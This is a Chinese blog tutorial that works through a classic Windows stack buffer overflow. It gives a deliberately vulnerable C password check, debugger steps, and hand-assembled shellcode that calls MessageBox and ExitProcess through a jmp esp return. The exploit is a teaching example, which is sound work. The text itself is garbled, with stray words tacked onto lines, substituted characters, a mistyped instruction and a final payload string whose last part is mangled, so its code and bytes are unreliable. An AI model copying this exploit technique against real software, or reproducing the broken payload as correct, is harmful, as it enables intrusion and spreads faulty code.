Win下栈溢出示例


例子来自《0day 安全:软件漏洞分析技术》css


栈溢出

程序会读取目录下的 password.txt 而后复制到 buffer 中,然而 buffer 只有 8 字节,password 是 1024 字节的web

 
  
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[8];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
main()
{
    int valid_flag=0;
    char password[1024];
    FILE * fp;
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    fclose(fp);
}

password.txt 的内容:shell



提早用 IDA 看到 verify_password 函数的地址是 0x401020windows



在 OD 中给 verify_password 返回的时候下个断点,这样能够恰好在栈溢出发生以前给断下来安全



那,修改 password.txt,把返回地址改为 Congratulation 那个分支的地址的话是能够成功的微信



接下来试着用它弹一个窗,要对源码作一下改变以便可以调用 Messagebox 函数,所以导入了 user32.dll编辑器

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}
main()
{
    int valid_flag=0;
    char password[1024];
    FILE * fp;
    LoadLibrary("user32.dll");
    if(!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    fclose(fp);
}

使用 Dependency walker 查看一下 user32.dll 的基址 0x77d10000 与 messagebox 的偏移 0x407ea函数

加起来就是 0x77D507EAui



编写 shellcode

找到了地址以后就能够构造 shellcode 了url


机器码

汇编指令

注释

33DB

XOR EBX,EBX

异或置零

53

PUSH EBX

做为字符串结束的截断符号 0

684841434B

PUSH 4B434148

把 'HACK' 字符串进栈

8BC4

MOV EAX,ESP

字符串指针,方便后面 push 进去

53

PUSH EBX

第四个参数 0

50

PUSH EAX

第三个参数 标题

50

PUSH EAX

第二个参数 内容

53

PUSH EBX

第一个参数 0

B8EA07D577

MOV EAX, 77D507EA

把 Messagebox 的函数地址放到 EAX

FFD0

CALL EAX

调用 Messagebox

33DB53684841434B8BC453505053B8EA07D577FFD0

而后能够填入一堆 90(也就是 NOP)

最后在 ret 的那个地方填入 0012FAF0(也就是栈顶),最终是这样的




jmp esp

直接填入栈顶是须要咱们本身去找栈顶的地址的,能够用 jmp esp 让他本身跳转到 esp 去执行 shellcode

能够用 OllyUni.dll 这个插件

https://bbs.pediy.com/thread-65240.htm


(OD 插件有上限,若是放进去以后 OD 打不开了能够先拿出几个插件来)




先用 0x7FFA4512 试试,,使用 jmp esp 的原理是在 ret 的时候是 pop eip 的,esp 会 +4,指向返回地址下面,因此只要返回地址后面跟着 shellcode 就好了,咱们还但愿他可以正常的退出,给它加上一个 ExitProcess 函数


用 Dependency walker 去 kernel32(0x7c800000)找一下 ExitProcess(0x00001cafa)获得退出函数地址 0x7C81CAFA


机器码

汇编

注释

53

PUSH BEX

exit (0),这个是参数 0

B8FACA817C

MOV EAX,0x7C81CAFA

地址放到 eax

FFD0

CALL EAX

调用函数

909090909090909090909090909090909090909090909090909090909090909090909090909090909099909090909090909090901245FA7F33DB53684841434B8BC453505053B8EA07D577FFD035334238464143413831374346464430


本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索